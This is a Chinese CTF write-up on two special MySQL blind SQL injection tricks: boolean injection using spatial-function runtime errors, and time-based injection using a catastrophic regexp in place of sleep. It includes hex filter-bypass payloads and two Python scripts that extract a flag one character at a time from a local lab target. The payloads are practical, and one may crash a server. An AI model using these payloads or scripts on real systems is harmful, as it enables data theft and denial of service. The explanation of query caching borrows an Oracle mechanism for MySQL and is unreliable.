兩種CTF中特殊盲注的總結

前言

Blind SQL(盲注)是SQL注入攻擊的其中一種。在sql注入過程中,sql語句執行後數據不會回顯到前端頁面,此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。

本文涉及知識點實操練習:MySQL盲注 (本實驗講解了MySQL注入中,3種盲注方式:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。通過學習本實驗,能瞭解盲注原理。)

SQL盲注基本知識

常用基本函數

  • IF(expr1,expr2,expr3)

expr1爲true,則返回expr2,爲false則返回expr3

SELECT IF(TRUE, 'A','B') -- 輸出結果:A
SELECT IF(FALSE,'A','B') -- 輸出結果:B

  • ASCII(str)

返回字符串str最左面字符的ASCII值

SELECT ASCII("flag") -- 輸出結果:102

  • ORD(str)

返回字符串str第一個字符的ASCII值

SELECT ORD("flag") -- 輸出結果:102

  • CHAR(int)

將ASCII碼值int轉換成字符

SELECT CHAR(65) -- 輸出結果:A

  • MID(str,pos,len)

pos位置開始,截取字符串strlen個長度的字符

SELECT MID("Hello World", 3, 5) -- 輸出結果:llo W

與SUBSTR(str,pos,len) 效果相同

  • LEFT(str,len)

返回字符串str左邊部分共len個字符

SELECT LEFT("flag", 2) -- 輸出結果:fl

  • SLEEP(duration)

duration是休眠的時長,以秒爲單位,也可以是小數

SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影響的行: 0
# 時間: 3.005ms

  • REGEXP

正則表達式,用來匹配文本的特殊的串(字符集合)

SELECT "FLAG" REGEXP "LA"    -- 輸出結果:1
SELECT "FLAG" REGEXP "[0-9]" -- 輸出結果:0

  • 其它
LENGTH(str) -- 返回字符串str的長度
DATABASE()  -- 返回當前數據庫名
VERSION()   -- 返回當前MySQL版本

布爾盲注

根據注入點的輸入,頁面只返回True和False兩種類型頁面。利用頁面返回不同,逐個猜解數據。

SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 輸出結果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 輸出結果:2

據此可知數據庫名的長度爲4

時間盲注

通過執行時間的長短來判斷是否執行成功,也就是時間延遲注入。

SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒後才響應
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即響應

據此可知數據庫名的第一個字符爲c

以下2道題目:flag在flag表的flag字段

在本地搭建靶機,用post傳參,變量keywords接收

本地搭建靶機

基於運行錯誤的布爾盲注

基於運行錯誤的布爾盲注即能夠通過sql語句的語法、語義分析,但運行時報錯。

我們可以將其作爲IF(expr1,expr2,expr3)的expr3,當expr1爲true時,返回expr2,頁面正常,而爲false時,則會執行expr3,此時因爲運行錯誤而頁面無法正常顯示。

ST_GeomFromText(character-string[, srid]) 是根據字符串表示構造幾何的方法,即:

SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 輸出結果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]

ST_X(point):該方法是獲取點的x座標,它操作的對象是一個點,即:

SELECT ST_X(POINT(2,3)) -- 輸出結果:2

但當操作對象不是點時,運行會報錯,卻能夠通過sql的檢查,所以可以用來構造true和false兩種情況下出現不同的頁面

SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 輸出結果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

P.s.

ST_GeomFromText 、 ST_MPointFromText 是兩個可以從文本中解析Spatial function的函數。

需要注意的是 ST_GeomFromText 針對的是 POINT() 函 數, ST_MPointFromText 針對的是 MULTIPOINT() 函數的。

其他可用的函數:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

如果題目過濾了ST,可以嘗試用GeomFromText()X(),但MySQL在5.7.6版本之後就棄用了。

Name Description
X() (deprecated 5.7.6) Return X coordinate of Point
GeomFromText()(deprecated 5.7.6) Return geometry from WKT

當輸入1、2、3等數字時,頁面返回Hello World

輸入1、2、3等數字

而當輸入被過濾的關鍵字時,網頁返回No Hacker

輸入被過濾的關鍵字

由此可以測試一些被過濾的關鍵字有:

'"or-*><=likesleepsubstrmidasciiord

然而在不被ban掉的情況下,網頁只能返回一種頁面,無法進行平常的數字型盲注。

而像if(0,1e9999,1),因爲無法通過sql語句的檢查,所以頁面無法正常顯示,更別說if(1,1e9999,1)了。

此時可以考慮用基於運行錯誤的布爾盲注,語法、語義上能夠通過sql的檢查,但如果執行到該語句卻會運行錯誤,這樣便能夠構造true和false兩種情況了。

用if來進行盲注,'被過濾了,用十六進制繞過。

if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))

此時頁面返回Hello World。題目說flag在flag表的flag字段,用left()截取第一個字符進行判斷,=like可以用regexp代替。

構造payload:

if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

此時頁面仍然返回Hello World,可以知道flag的第一個字符是char(102),也就是f

if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

而第二個字符是char(108),也就是字符l

用python寫個腳本

import requests

def fun(string):
    result = ""
    j = 1
    for i in string:
        if j != len(string):
            result = result + str(ord(i)) + ","
        else:
            result = result + str(ord(i))
        j += 1
    return "char(" + result + ")"

url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = "\\" + j
        payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
            i, fun(flag+j))
        r = requests.post(url=url, data={'keywords': payload})
        if "Hello World" in r.text:
            flag = flag + j
            print(flag.replace("\\", ""))
            break

用python寫個腳本

基於巨大運算時間的時間盲注

由於在這裏過濾了ST,所以以ST開頭的函數會被ban,無法使用。

同時又過濾了sleep,所以無法通過時間休眠來延遲時間,也就沒法用sleep來進行時間盲注。

但我們可以通過sql語句來執行一個運算時間很長很長的語句,以此來作爲時間延遲,也就是說用if來判斷flag的字符,如果正確則執行一個需要很長運算時間的語句,否則返回0。

所以之後用python寫腳本的時候,設定一個超時時間,在設定時間內沒有返回內容即字符正確,這樣便能進行時間盲注了。

在此之前先了解幾個函數

  • rpad(str,len,padstr)

對字符串str進行右填充,用padstr填充至str長度爲len個字符

SELECT RPAD('hi', 5, '?') -- 輸出結果:hi???

  • concat(str1,str2,...)

連接多個字符串爲一個字符串

SELECT CONCAT('he', 'll', 'o') -- 輸出結果:hello

  • repeat(str,count)

返回字符串str重複count次後的字符串

SELECT REPEAT('ab', '3') -- 輸出結果:ababab

構造payload:

1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)

也就是說如果flag的第一個字符爲f的話,則會執行下面這句語句:

rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')

rpad('a',5000000,'a')會填充爲5000000個a,會構造成一個很長的字符串,與字符串concat(repeat('(a.*)+',30),'b')去作正則匹配,通過巨大的運算量來延時。

這樣做的話服務器可能會崩

由於題目過濾了',所以用十六進制代替

1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)

以下兩種圖片用get傳參測試時間延遲效果

猜中flag的第一個字符時:

猜中flag的第一個字符時

而如果猜第一個字符爲0x01,則爲false,if返回0

false,if返回0

所以我們可以通過大量的運算時間做延遲,進行時間盲注。

但服務器進程在接到客戶端傳送過來的SQL語句時,不會直接去數據庫查詢。服務器進程把這個SQL語句的字符轉化爲ASCII等效數字碼,接着這個ASCII碼被傳遞給一個HASH函數,並返回一個hash值,然後服務器進程將到shared pool中的library cache(高速緩存)中去查找是否存在相同的hash值。如果存在,服務器進程將使用這條語句已高速緩存在SHARED POOL的library cache中的已分析過的版本來執行,省去後續的解析工作,這便是軟解析。

所以多次查詢rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')後將不再延遲,所以對rpad()的5000000需要每次自減1

腳本來自Gqleung(http://www.plasf.cn)

import requests


def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i))
        r = r.replace('0x', '')
        result = result+r
    return '0x'+result


url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = '\\'+j
        payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
            ord2hex("^"+result+j), 5000000-i)
        try:
            r = requests.post(url=url, data={'keywords': payload}, timeout=3)
        except Exception as e:
            result = result+j
            print(result.replace('\\', ''))

timeout:設定超時時間,秒爲單位在設定時間內沒有返回內容則返回一個timeout異常

若是3秒內沒有返回內容則返回timeout異常,即字符正確,打印輸出

打印輸出

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章